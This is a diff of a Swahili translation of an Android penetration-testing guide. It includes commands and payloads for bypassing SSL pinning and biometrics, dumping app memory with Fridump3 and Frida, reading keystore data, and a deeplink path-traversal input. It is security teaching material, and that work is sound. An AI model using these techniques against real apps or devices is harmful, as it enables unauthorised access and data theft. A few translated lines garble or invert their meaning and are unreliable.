### Ukaguzi Mwingine
 | 
			
		||||
 | 
			
		||||
- Inapendekezwa **kuhifadhi APK** ili kuifanya kazi ya mhandisi wa kurudi kuwa ngumu kwa washambuliaji.
 | 
			
		||||
- Inapendekezwa **kuhifadhi APK** ili kufanya kazi ya mhandisi wa kurudi kuwa ngumu kwa washambuliaji.
 | 
			
		||||
- Ikiwa programu ni nyeti (kama programu za benki), inapaswa kufanya **ukaguzi wake mwenyewe kuona kama simu imejikita** na kuchukua hatua zinazofaa.
 | 
			
		||||
- Ikiwa programu ni nyeti (kama programu za benki), inapaswa kuangalia kama **emulator** inatumika.
 | 
			
		||||
- Ikiwa programu ni nyeti (kama programu za benki), inapaswa **kuangalia uadilifu wake mwenyewe kabla ya kutekeleza** ili kuangalia kama imebadilishwa.
 | 
			
		||||
@ -181,7 +181,7 @@ Kulingana na [**blogu hii**](https://clearbluejar.github.io/posts/desuperpacking
 | 
			
		||||
 | 
			
		||||
### Uchambuzi wa Msimbo wa Kawaida
 | 
			
		||||
 | 
			
		||||
Chombo [**mariana-trench**](https://github.com/facebook/mariana-trench) kina uwezo wa kupata **vulnerabilities** kwa **kuchanganua** **msimbo** wa programu. Chombo hiki kina mfululizo wa **vyanzo vinavyojulikana** (ambavyo vinaonyesha kwa chombo **mahali** ambapo **ingizo** linadhibitiwa na mtumiaji), **sinks** (ambazo zinaonyesha kwa chombo **mahali hatari** ambapo ingizo la mtumiaji mbaya linaweza kusababisha madhara) na **sheria**. Sheria hizi zinaonyesha **mchanganyiko** wa **vyanzo-sinks** unaoashiria udhaifu.
 | 
			
		||||
Chombo [**mariana-trench**](https://github.com/facebook/mariana-trench) kina uwezo wa kupata **vulnerabilities** kwa **kuchanganua** **msimbo** wa programu. Chombo hiki kina mfululizo wa **vyanzo vilivyofahamika** (ambavyo vinaonyesha kwa chombo **mahali** ambapo **ingizo** linadhibitiwa na mtumiaji), **sinks** (ambazo zinaonyesha kwa chombo **mahali hatari** ambapo ingizo la mtumiaji mbaya linaweza kusababisha madhara) na **sheria**. Sheria hizi zinaonyesha **mchanganyiko** wa **vyanzo-sinks** unaoashiria udhaifu.
 | 
			
		||||
 | 
			
		||||
Kwa maarifa haya, **mariana-trench itakagua msimbo na kupata udhaifu unaowezekana ndani yake**.
 | 
			
		||||
 | 
			
		||||
@ -195,7 +195,7 @@ Programu inaweza kuwa na siri (funguo za API, nywila, URLs zilizofichwa, subdoma
 | 
			
		||||
bypass-biometric-authentication-android.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### Kazi Mwingine za Kuvutia
 | 
			
		||||
### Kazi Nyingine za Kuvutia
 | 
			
		||||
 | 
			
		||||
- **Utendaji wa msimbo**: `Runtime.exec(), ProcessBuilder(), native code:system()`
 | 
			
		||||
- **Tuma SMS**: `sendTextMessage, sendMultipartTestMessage`
 | 
			
		||||
@ -247,19 +247,19 @@ Ili **kufunga huduma za google** (kama AppStore) katika Genymotion unahitaji kub
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
Pia, zingatia kwamba katika **mipangilio ya Android VM katika Genymotion** unaweza kuchagua **Bridge Network mode** (hii itakuwa muhimu ikiwa utaungana na Android VM kutoka VM tofauti na zana).
 | 
			
		||||
Pia, kumbuka kwamba katika **mipangilio ya Android VM katika Genymotion** unaweza kuchagua **Bridge Network mode** (hii itakuwa muhimu ikiwa utaungana na Android VM kutoka VM tofauti na zana).
 | 
			
		||||
 | 
			
		||||
#### Tumia kifaa halisi
 | 
			
		||||
 | 
			
		||||
Unahitaji kuwasha **chaguzi za ufuatiliaji** na itakuwa vizuri ikiwa unaweza **kuyashughulikia**:
 | 
			
		||||
Unahitaji kuwasha **chaguzi za ufuatiliaji** na itakuwa vizuri ikiwa unaweza **ku-root**:
 | 
			
		||||
 | 
			
		||||
1. **Mipangilio**.
 | 
			
		||||
2. (Kuanzia Android 8.0) Chagua **Mfumo**.
 | 
			
		||||
3. Chagua **Kuhusu simu**.
 | 
			
		||||
4. Bonyeza **Nambari ya Ujenzi** mara 7.
 | 
			
		||||
5. Rudi nyuma na utapata **Chaguzi za Mwandishi**.
 | 
			
		||||
4. Bonyeza **Nambari ya Kujenga** mara 7.
 | 
			
		||||
5. Rudi nyuma na utapata **Chaguzi za Wataalamu**.
 | 
			
		||||
 | 
			
		||||
> Mara tu umepofunga programu, jambo la kwanza unapaswa kufanya ni kujaribu na kuchunguza inafanya nini, inafanya kazi vipi na kuweza kuizoea.\
 | 
			
		||||
> Mara tu umepakia programu, jambo la kwanza unapaswa kufanya ni kujaribu na kuchunguza inafanya nini, inafanya kazi vipi na kuzoea nayo.\
 | 
			
		||||
> Nitapendekeza **kufanya uchambuzi huu wa awali wa kijani kwa kutumia MobSF uchambuzi wa kijani + pidcat**, ili tuweze **kujifunza jinsi programu inavyofanya kazi** wakati MobSF **inakamata** data nyingi **za kuvutia** ambazo unaweza kupitia baadaye.
 | 
			
		||||
 | 
			
		||||
### Kuvuja kwa Data zisizokusudiwa
 | 
			
		||||
@ -270,7 +270,7 @@ Wakandarasi wanapaswa kuwa waangalifu kuhusu kufichua **taarifa za ufuatiliaji**
 | 
			
		||||
 | 
			
		||||
> [!WARNING]
 | 
			
		||||
> Kumbuka kwamba kuanzia **baada ya Android 4.0**, **programu zinaweza kufikia kumbukumbu zao tu**. Hivyo programu haziwezi kufikia kumbukumbu za programu nyingine.\
 | 
			
		||||
> Hata hivyo, bado inapendekezwa **kutokufichua taarifa nyeti**.
 | 
			
		||||
> Hata hivyo, bado inapendekezwa **kutokuficha taarifa nyeti**.
 | 
			
		||||
 | 
			
		||||
**Kuhifadhi Kumbukumbu za Nakala/Pasta**
 | 
			
		||||
 | 
			
		||||
@ -278,11 +278,11 @@ Mfumo wa **clipboard-based** wa Android unaruhusu kazi za nakala-na-pasta katika
 | 
			
		||||
 | 
			
		||||
**Kumbukumbu za Kuanguka**
 | 
			
		||||
 | 
			
		||||
Ikiwa programu **inaanguka** na **kuhifadhi kumbukumbu**, kumbukumbu hizi zinaweza kusaidia washambuliaji, hasa wakati programu haiwezi kurudi nyuma. Ili kupunguza hatari hii, epuka kufichua kumbukumbu wakati wa kuanguka, na ikiwa kumbukumbu zinapaswa kutumwa kupitia mtandao, hakikisha zinatumwa kupitia njia ya SSL kwa usalama.
 | 
			
		||||
Ikiwa programu **inaanguka** na **kuhifadhi kumbukumbu**, kumbukumbu hizi zinaweza kusaidia washambuliaji, hasa wakati programu haiwezi kurudi nyuma. Ili kupunguza hatari hii, epuka kuficha kwenye kuanguka, na ikiwa kumbukumbu lazima zitumwe kupitia mtandao, hakikisha zinatumwa kupitia njia ya SSL kwa usalama.
 | 
			
		||||
 | 
			
		||||
Kama pentester, **jaribu kuangalia kumbukumbu hizi**.
 | 
			
		||||
 | 
			
		||||
**Taarifa za Uchambuzi Zinatumwa kwa Vyama vya Tatu**
 | 
			
		||||
**Data za Uchambuzi Zinatumwa kwa Vyama vya Tatu**
 | 
			
		||||
 | 
			
		||||
Programu mara nyingi hujumuisha huduma kama Google Adsense, ambazo zinaweza bila kukusudia **kuvuja data nyeti** kutokana na utekelezaji usiofaa na wakandarasi. Ili kubaini uwezekano wa kuvuja kwa data, inapendekezwa **kuingilia trafiki ya programu** na kuangalia kama kuna taarifa nyeti zinazotumwa kwa huduma za vyama vya tatu.
 | 
			
		||||
 | 
			
		||||
@ -297,7 +297,7 @@ Taja meza kwa kutumia `.tables` na taja safu za meza kwa kufanya `.schema <table
 | 
			
		||||
 | 
			
		||||
### Drozer (Shughuli za Kutekeleza, Watoa Maudhui na Huduma)
 | 
			
		||||
 | 
			
		||||
Kutoka [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** inakuruhusu **kuchukua jukumu la programu ya Android** na kuingiliana na programu nyingine. Inaweza kufanya **chochote ambacho programu iliyosakinishwa inaweza kufanya**, kama kutumia mfumo wa Mawasiliano ya Kati ya Mchakato wa Android (IPC) na kuingiliana na mfumo wa uendeshaji wa chini.\
 | 
			
		||||
Kutoka [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** inakuruhusu **kuchukua jukumu la programu ya Android** na kuingiliana na programu nyingine. Inaweza kufanya **chochote ambacho programu iliyosakinishwa inaweza kufanya**, kama kutumia mfumo wa Mawasiliano ya Mchakato wa Android (IPC) na kuingiliana na mfumo wa uendeshaji wa chini.\
 | 
			
		||||
Drozer ni chombo muhimu kwa **kufanya udhaifu wa shughuli zilizotolewa, huduma zilizotolewa na Watoa Maudhui** kama utakavyofundishwa katika sehemu zifuatazo.
 | 
			
		||||
 | 
			
		||||
### Kufanya Udhaifu wa Shughuli Zilizotolewa
 | 
			
		||||
@ -307,7 +307,7 @@ Pia kumbuka kwamba msimbo wa shughuli huanza katika **`onCreate`** njia.
 | 
			
		||||
 | 
			
		||||
**Kupita Uthibitishaji**
 | 
			
		||||
 | 
			
		||||
Wakati shughuli inapotolewa unaweza kuita skrini yake kutoka programu ya nje. Hivyo, ikiwa shughuli yenye **taarifa nyeti** ime **tolewa** unaweza **kupita** mitambo ya **uthibitishaji** **ili kuipata.**
 | 
			
		||||
Wakati shughuli inapotolewa unaweza kuita skrini yake kutoka programu ya nje. Kwa hivyo, ikiwa shughuli yenye **taarifa nyeti** ime **tolewa** unaweza **kupita** mitambo ya **uthibitishaji** **ili kuipata.**
 | 
			
		||||
 | 
			
		||||
[**Jifunze jinsi ya kufanya udhaifu wa shughuli zilizotolewa na Drozer.**](drozer-tutorial/index.html#activities)
 | 
			
		||||
 | 
			
		||||
@ -380,8 +380,8 @@ Kila wakati unapotafuta deeplink hakikisha kuwa **haipokei data nyeti (kama nywi
 | 
			
		||||
 | 
			
		||||
**Parameters in path**
 | 
			
		||||
 | 
			
		||||
Unapaswa pia **kuangalia ikiwa deeplink yoyote inatumia parameter ndani ya njia** ya URL kama: `https://api.example.com/v1/users/{username}` , katika kesi hiyo unaweza kulazimisha usafiri wa njia kwa kufikia kitu kama: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
 | 
			
		||||
Kumbuka kwamba ikiwa utapata mwisho sahihi ndani ya programu unaweza kuwa na uwezo wa kusababisha **Open Redirect** (ikiwa sehemu ya njia inatumika kama jina la kikoa), **kuchukua akaunti** (ikiwa unaweza kubadilisha maelezo ya watumiaji bila CSRF token na mwisho wa vuln unatumia njia sahihi) na vuln nyingine yoyote. Maelezo zaidi [hapa](http://dphoeniixx.com/2020/12/13-2/).
 | 
			
		||||
Unapaswa pia **kuangalia kama deeplink yoyote inatumia parameter ndani ya njia** ya URL kama: `https://api.example.com/v1/users/{username}` , katika kesi hiyo unaweza kulazimisha usafiri wa njia kwa kufikia kitu kama: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
 | 
			
		||||
Kumbuka kwamba ikiwa utapata mwisho sahihi ndani ya programu unaweza kuwa na uwezo wa kusababisha **Open Redirect** (ikiwa sehemu ya njia inatumika kama jina la kikoa), **kuchukua akaunti** (ikiwa unaweza kubadilisha maelezo ya watumiaji bila CSRF token na mwisho wa vuln ulitumia njia sahihi) na vuln nyingine yoyote. Maelezo zaidi [hapa](http://dphoeniixx.com/2020/12/13-2/).
 | 
			
		||||
 | 
			
		||||
**More examples**
 | 
			
		||||
 | 
			
		||||
@ -390,32 +390,32 @@ Ripoti ya [bug bounty](https://hackerone.com/reports/855618) kuhusu viungo (_/.w
 | 
			
		||||
### Transport Layer Inspection and Verification Failures
 | 
			
		||||
 | 
			
		||||
- **Vyeti havikaguliwi kila wakati ipasavyo** na programu za Android. Ni kawaida kwa programu hizi kupuuza onyo na kukubali vyeti vilivyojitegemea au, katika baadhi ya matukio, kurudi kutumia muunganisho wa HTTP.
 | 
			
		||||
- **Majadiliano wakati wa handshake ya SSL/TLS wakati mwingine ni dhaifu**, yakitumia cipher suites zisizo salama. Uthibitisho huu unafanya muunganisho uwe hatarini kwa mashambulizi ya mtu katikati (MITM), ikiruhusu washambuliaji kufungua data.
 | 
			
		||||
- **Majadiliano wakati wa handshake ya SSL/TLS wakati mwingine ni dhaifu**, yakitumia cipher suites zisizo salama. Uthibitisho huu unafanya muunganisho uwe hatarini kwa mashambulizi ya mtu katikati (MITM), kuruhusu washambuliaji kufungua data.
 | 
			
		||||
- **Kuvuja kwa taarifa za kibinafsi** ni hatari wakati programu zinathibitisha kwa kutumia njia salama lakini kisha kuwasiliana kupitia njia zisizo salama kwa shughuli nyingine. Njia hii inashindwa kulinda data nyeti, kama vile cookies za kikao au maelezo ya mtumiaji, kutokana na kukamatwa na wahalifu.
 | 
			
		||||
 | 
			
		||||
#### Certificate Verification
 | 
			
		||||
 | 
			
		||||
Tutazingatia **uthibitishaji wa cheti**. Uadilifu wa cheti cha seva lazima uhakikishwe ili kuongeza usalama. Hii ni muhimu kwa sababu mipangilio isiyo salama ya TLS na uhamasishaji wa data nyeti kupitia njia zisizo na usalama zinaweza kuleta hatari kubwa. Kwa hatua za kina za kuthibitisha vyeti vya seva na kushughulikia udhaifu, [**rasilimali hii**](https://manifestsecurity.com/android-application-security-part-10/) inatoa mwongozo wa kina.
 | 
			
		||||
Tutazingatia **uthibitishaji wa cheti**. Uadilifu wa cheti cha seva lazima uhakikishwe ili kuongeza usalama. Hii ni muhimu kwa sababu usanidi usio salama wa TLS na uhamasishaji wa data nyeti kupitia njia zisizo na usalama zinaweza kuleta hatari kubwa. Kwa hatua za kina za kuthibitisha vyeti vya seva na kushughulikia udhaifu, [**rasilimali hii**](https://manifestsecurity.com/android-application-security-part-10/) inatoa mwongozo wa kina.
 | 
			
		||||
 | 
			
		||||
#### SSL Pinning
 | 
			
		||||
 | 
			
		||||
SSL Pinning ni kipimo cha usalama ambapo programu inathibitisha cheti cha seva dhidi ya nakala inayojulikana iliyohifadhiwa ndani ya programu yenyewe. Njia hii ni muhimu kwa kuzuia mashambulizi ya MITM. Kutekeleza SSL Pinning kunashauriwa kwa nguvu kwa programu zinazoshughulikia taarifa nyeti.
 | 
			
		||||
SSL Pinning ni hatua ya usalama ambapo programu inathibitisha cheti cha seva dhidi ya nakala inayojulikana iliyohifadhiwa ndani ya programu yenyewe. Njia hii ni muhimu kwa kuzuia mashambulizi ya MITM. Kutekeleza SSL Pinning kunashauriwa kwa nguvu kwa programu zinazoshughulikia taarifa nyeti.
 | 
			
		||||
 | 
			
		||||
#### Traffic Inspection
 | 
			
		||||
 | 
			
		||||
Ili kukagua trafiki ya HTTP, ni lazima **kusakinisha cheti cha zana ya proxy** (mfano, Burp). Bila kusakinisha cheti hii, trafiki iliyosimbwa inaweza isionekane kupitia proxy. Kwa mwongozo wa kusakinisha cheti ya CA ya kawaida, [**bonyeza hapa**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
 | 
			
		||||
Ili kukagua trafiki ya HTTP, ni muhimu **kusanidi cheti cha zana ya proxy** (mfano, Burp). Bila kusanidi cheti hiki, trafiki iliyosimbwa inaweza isionekane kupitia proxy. Kwa mwongozo wa kusanidi cheti cha CA cha kawaida, [**bonyeza hapa**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
 | 
			
		||||
 | 
			
		||||
Programu zinazolenga **API Level 24 na zaidi** zinahitaji marekebisho kwenye Usanidi wa Usalama wa Mtandao ili kukubali cheti cha CA cha proxy. Hatua hii ni muhimu kwa kukagua trafiki iliyosimbwa. Kwa maelekezo ya kubadilisha Usanidi wa Usalama wa Mtandao, [**rejelea tutorial hii**](make-apk-accept-ca-certificate.md).
 | 
			
		||||
Programu zinazolenga **API Level 24 na zaidi** zinahitaji marekebisho kwenye Usanidi wa Usalama wa Mtandao ili kukubali cheti cha CA cha proxy. Hatua hii ni muhimu kwa kukagua trafiki iliyosimbwa. Kwa maelekezo ya kubadilisha Usanidi wa Usalama wa Mtandao, [**rejelea mwongozo huu**](make-apk-accept-ca-certificate.md).
 | 
			
		||||
 | 
			
		||||
#### Bypassing SSL Pinning
 | 
			
		||||
 | 
			
		||||
Wakati SSL Pinning inatekelezwa, kuipita inakuwa muhimu ili kukagua trafiki ya HTTPS. Njia mbalimbali zinapatikana kwa kusudi hili:
 | 
			
		||||
 | 
			
		||||
- Kiotomatiki **badilisha** **apk** ili **kuipita** SSLPinning kwa kutumia [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Faida bora ya chaguo hili ni kwamba hutahitaji root ili kuipita SSL Pinning, lakini utahitaji kufuta programu na kusakinisha mpya, na hii haitafanya kazi kila wakati.
 | 
			
		||||
- Kiotomatiki **badilisha** **apk** ili **kuipita** SSLPinning kwa kutumia [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Faida bora ya chaguo hili ni kwamba hutahitaji root ili kuipita SSL Pinning, lakini utahitaji kufuta programu na kuisakinisha upya, na hii haitafanya kazi kila wakati.
 | 
			
		||||
- Unaweza kutumia **Frida** (iliyozungumziwa hapa chini) kuipita ulinzi huu. Hapa kuna mwongozo wa kutumia Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
 | 
			
		||||
- Unaweza pia kujaribu **kuipita kiotomatiki SSL Pinning** kwa kutumia [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
 | 
			
		||||
- Unaweza pia kujaribu **kuipita kiotomatiki SSL Pinning** kwa kutumia **MobSF uchambuzi wa dynamic** (iliyofafanuliwa hapa chini)
 | 
			
		||||
- Ikiwa bado unafikiri kuna trafiki fulani ambayo hujapata unaweza kujaribu **kupeleka trafiki kwa burp kwa kutumia iptables**. Soma blog hii: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
 | 
			
		||||
- Unaweza pia kujaribu **kuipita SSL Pinning kiotomatiki** kwa kutumia [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
 | 
			
		||||
- Unaweza pia kujaribu **kuipita SSL Pinning kiotomatiki** kwa kutumia **MobSF uchambuzi wa dynamic** (iliyofafanuliwa hapa chini)
 | 
			
		||||
- Ikiwa bado unafikiri kuna trafiki ambayo hujapata unaweza kujaribu **kupeleka trafiki kwa burp kwa kutumia iptables**. Soma blog hii: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
 | 
			
		||||
 | 
			
		||||
#### Looking for Common Web Vulnerabilities
 | 
			
		||||
 | 
			
		||||
@ -423,11 +423,11 @@ Ni muhimu pia kutafuta udhaifu wa kawaida wa wavuti ndani ya programu. Maelezo y
 | 
			
		||||
 | 
			
		||||
### Frida
 | 
			
		||||
 | 
			
		||||
[Frida](https://www.frida.re) ni zana ya uhandisi wa dynamic kwa waendelezaji, wahandisi wa kurudi, na watafiti wa usalama.\
 | 
			
		||||
[Frida](https://www.frida.re) ni zana ya uhandisi wa dynamic kwa ajili ya waendelezaji, wahandisi wa kurudi, na watafiti wa usalama.\
 | 
			
		||||
**Unaweza kufikia programu inayotembea na kuunganisha mbinu wakati wa wakati wa kukimbia kubadilisha tabia, kubadilisha thamani, kutoa thamani, kukimbia code tofauti...**\
 | 
			
		||||
Ikiwa unataka kufanya pentest kwenye programu za Android unahitaji kujua jinsi ya kutumia Frida.
 | 
			
		||||
Ikiwa unataka kufanya pentest kwa programu za Android unahitaji kujua jinsi ya kutumia Frida.
 | 
			
		||||
 | 
			
		||||
- Jifunze jinsi ya kutumia Frida: [**Frida tutorial**](frida-tutorial/)
 | 
			
		||||
- Jifunze jinsi ya kutumia Frida: [**Frida tutorial**](frida-tutorial/index.html)
 | 
			
		||||
- Baadhi ya "GUI" kwa vitendo na Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
 | 
			
		||||
- Ojection ni nzuri kwa kuharakisha matumizi ya Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
 | 
			
		||||
- Unaweza kupata baadhi ya scripts za Frida hapa: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
 | 
			
		||||
@ -437,7 +437,7 @@ Ikiwa unataka kufanya pentest kwenye programu za Android unahitaji kujua jinsi y
 | 
			
		||||
 | 
			
		||||
Angalia ikiwa programu inahifadhi taarifa nyeti ndani ya kumbukumbu ambayo haipaswi kuhifadhiwa kama nywila au maneno ya kukumbuka.
 | 
			
		||||
 | 
			
		||||
Kwa kutumia [**Fridump3**](https://github.com/rootbsd/fridump3) unaweza kutupa kumbukumbu ya programu kwa:
 | 
			
		||||
Kwa kutumia [**Fridump3**](https://github.com/rootbsd/fridump3) unaweza kutoa kumbukumbu ya programu kwa:
 | 
			
		||||
```bash
 | 
			
		||||
# With PID
 | 
			
		||||
python3 fridump3.py -u <PID>
 | 
			
		||||
@ -446,7 +446,7 @@ python3 fridump3.py -u <PID>
 | 
			
		||||
frida-ps -Uai
 | 
			
		||||
python3 fridump3.py -u "<Name>"
 | 
			
		||||
```
 | 
			
		||||
Hii itatoa kumbukumbu katika folda ya ./dump, na humo unaweza kutumia grep na kitu kama:
 | 
			
		||||
Hii itatoa kumbukumbu katika folda ya ./dump, na ndani yake unaweza kutumia grep na kitu kama:
 | 
			
		||||
```bash
 | 
			
		||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
 | 
			
		||||
```
 | 
			
		||||
@ -454,7 +454,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
 | 
			
		||||
 | 
			
		||||
Katika Android, Keystore ni mahali bora pa kuhifadhi data nyeti, hata hivyo, kwa ruhusa ya kutosha bado **inawezekana kuipata**. Kadri programu zinavyotenda kuhifadhi hapa **data nyeti katika maandiko wazi**, pentests zinapaswa kuangalia kwa mtumiaji wa root au mtu mwenye ufikiaji wa kimwili kwenye kifaa anaweza kuwa na uwezo wa kuiba data hii.
 | 
			
		||||
 | 
			
		||||
Hata kama programu imehifadhi data katika keystore, data inapaswa kuwa imefungwa.
 | 
			
		||||
Hata kama programu imehifadhi tarehe katika keystore, data inapaswa kuwa imefungwa.
 | 
			
		||||
 | 
			
		||||
Ili kufikia data ndani ya keystore unaweza kutumia script hii ya Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
 | 
			
		||||
```bash
 | 
			
		||||
@ -468,13 +468,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
 | 
			
		||||
```
 | 
			
		||||
### **Picha za Muktadha**
 | 
			
		||||
 | 
			
		||||
Unapoweka programu katika muktadha, Android huhifadhi **picha ya programu** ili wakati inaporejeshwa kwenye mbele inaanza kupakia picha kabla ya programu ili ionekane kama programu imepakiwa haraka.
 | 
			
		||||
Unapoweka programu katika muktadha, Android huhifadhi **picha ya programu** ili wakati inaporejeshwa kwenye mbele inaanza kupakia picha kabla ya programu ili ionekane kama programu ilipakiwa haraka.
 | 
			
		||||
 | 
			
		||||
Hata hivyo, ikiwa picha hii ina **habari nyeti**, mtu mwenye ufikiaji wa picha hiyo anaweza **kuchukua habari hiyo** (kumbuka kuwa unahitaji root ili kuweza kuifikia).
 | 
			
		||||
 | 
			
		||||
Picha hizo kwa kawaida huhifadhiwa katika: **`/data/system_ce/0/snapshots`**
 | 
			
		||||
 | 
			
		||||
Android inatoa njia ya **kuzuia upigaji picha wa skrini kwa kuweka kipimo cha FLAG_SECURE**. Kwa kutumia bendera hii, maudhui ya dirisha yanachukuliwa kama salama, kuzuia kuonekana katika picha za skrini au kuonekana kwenye onyesho lisilo salama.
 | 
			
		||||
Android inatoa njia ya **kuzuia upigaji picha wa skrini kwa kuweka kiparameta cha muundo FLAG_SECURE**. Kwa kutumia bendera hii, maudhui ya dirisha yanachukuliwa kama salama, na kuzuia kuonekana katika picha za skrini au kuonekana kwenye onyesho lisilo salama.
 | 
			
		||||
```bash
 | 
			
		||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
 | 
			
		||||
```
 | 
			
		||||
@ -484,7 +484,7 @@ Chombo hiki kinaweza kukusaidia kusimamia zana mbalimbali wakati wa uchambuzi wa
 | 
			
		||||
 | 
			
		||||
### Kuingilia kwa Intent
 | 
			
		||||
 | 
			
		||||
Wakuu wa programu mara nyingi huunda vipengele vya proxy kama shughuli, huduma, na wapokeaji wa matangazo ambao hushughulikia hizi Intents na kuzipitisha kwa mbinu kama `startActivity(...)` au `sendBroadcast(...)`, ambayo inaweza kuwa hatari.
 | 
			
		||||
Wak developers mara nyingi huunda vipengele vya proxy kama shughuli, huduma, na wapokeaji wa matangazo vinavyoshughulikia hizi Intents na kuzipitisha kwa mbinu kama `startActivity(...)` au `sendBroadcast(...)`, ambayo inaweza kuwa hatari.
 | 
			
		||||
 | 
			
		||||
Hatari iko katika kuruhusu washambuliaji kuanzisha vipengele vya programu visivyoweza kusambazwa au kufikia watoa maudhui nyeti kwa kuhamasisha hizi Intents. Mfano maarufu ni kipengele cha `WebView` kinachobadilisha URLs kuwa vitu vya `Intent` kupitia `Intent.parseUri(...)` na kisha kuvitenda, ambayo inaweza kusababisha kuingilia kwa Intents zenye uharibifu.
 | 
			
		||||
 | 
			
		||||
@ -495,11 +495,11 @@ Hatari iko katika kuruhusu washambuliaji kuanzisha vipengele vya programu visivy
 | 
			
		||||
- Inaweza kufichua vipengele visivyoweza kusambazwa na watoa maudhui kwa washambuliaji.
 | 
			
		||||
- Kubadilisha URL ya `WebView` kuwa `Intent` kunaweza kuwezesha vitendo visivyokusudiwa.
 | 
			
		||||
 | 
			
		||||
### Kuingilia kwa Wateja wa Android na mengineyo
 | 
			
		||||
### Kuingilia kwa Kliendi ya Android na mengineyo
 | 
			
		||||
 | 
			
		||||
Labda unajua kuhusu aina hii ya udhaifu kutoka kwa Wavuti. Lazima uwe makini sana na udhaifu huu katika programu ya Android:
 | 
			
		||||
 | 
			
		||||
- **SQL Injection:** Unaposhughulikia maswali ya dynamic au Watoa-Maudhui hakikisha unatumia maswali yaliyopangwa.
 | 
			
		||||
- **SQL Injection:** Unaposhughulika na maswali ya dynamic au Watoa-Maudhui hakikisha unatumia maswali yaliyopangwa.
 | 
			
		||||
- **JavaScript Injection (XSS):** Hakikisha kuwa msaada wa JavaScript na Plugin umezimwa kwa WebViews yoyote (umezimwa kwa default). [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
 | 
			
		||||
- **Ujumuishaji wa Faili za Mitaa:** WebViews zinapaswa kuwa na ufikiaji wa mfumo wa faili umezimwa (umewezeshwa kwa default) - `(webview.getSettings().setAllowFileAccess(false);)`. [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
 | 
			
		||||
- **Kuki za Milele**: Katika kesi kadhaa wakati programu ya android inamaliza kikao, kuki haifutwi au inaweza hata kuhifadhiwa kwenye diski.
 | 
			
		||||
@ -549,8 +549,8 @@ MobSF pia inakuwezesha kupakia **scripts za Frida** zako mwenyewe (ili kutuma ma
 | 
			
		||||
Zaidi ya hayo, una baadhi ya kazi za ziada za Frida:
 | 
			
		||||
 | 
			
		||||
- **Enumerate Loaded Classes**: Itachapisha kila darasa lililopakiwa
 | 
			
		||||
- **Capture Strings**: Itachapisha kila nyuzi zinazokamatwa wakati wa kutumia programu (sauti nyingi)
 | 
			
		||||
- **Capture String Comparisons**: Inaweza kuwa ya manufaa sana. It **onyeshe nyuzi 2 zinazolinganishwa** na ikiwa matokeo yalikuwa Kweli au Uongo.
 | 
			
		||||
- **Capture Strings**: Itachapisha kila nyuzi zilizokamatwa wakati wa kutumia programu (sauti nyingi)
 | 
			
		||||
- **Capture String Comparisons**: Inaweza kuwa ya manufaa sana. It **onyesha nyuzi 2 zinazolinganishwa** na ikiwa matokeo yalikuwa Kweli au Uongo.
 | 
			
		||||
- **Enumerate Class Methods**: Weka jina la darasa (kama "java.io.File") na itachapisha mbinu zote za darasa hilo.
 | 
			
		||||
- **Search Class Pattern**: Tafuta madarasa kwa muundo
 | 
			
		||||
- **Trace Class Methods**: **Trace** **darasa zima** (ona ingizo na matokeo ya mbinu zote za darasa hilo). Kumbuka kwamba kwa kawaida MobSF inafuatilia mbinu kadhaa za kuvutia za Android Api.
 | 
			
		||||
@ -576,7 +576,7 @@ Ili kufanya hivyo, _washa Burp -->_ _zimisha Intercept --> katika MobSB HTTPTool
 | 
			
		||||
Mara tu unapo maliza uchambuzi wa dynamic na MobSF unaweza kubonyeza "**Start Web API Fuzzer**" ili **fuzz maombi ya http** na kutafuta udhaifu.
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Baada ya kufanya uchambuzi wa dynamic na MobSF mipangilio ya proxy inaweza kuwa na makosa na huwezi kuziweka sawa kutoka kwa GUI. Unaweza kurekebisha mipangilio ya proxy kwa kufanya:
 | 
			
		||||
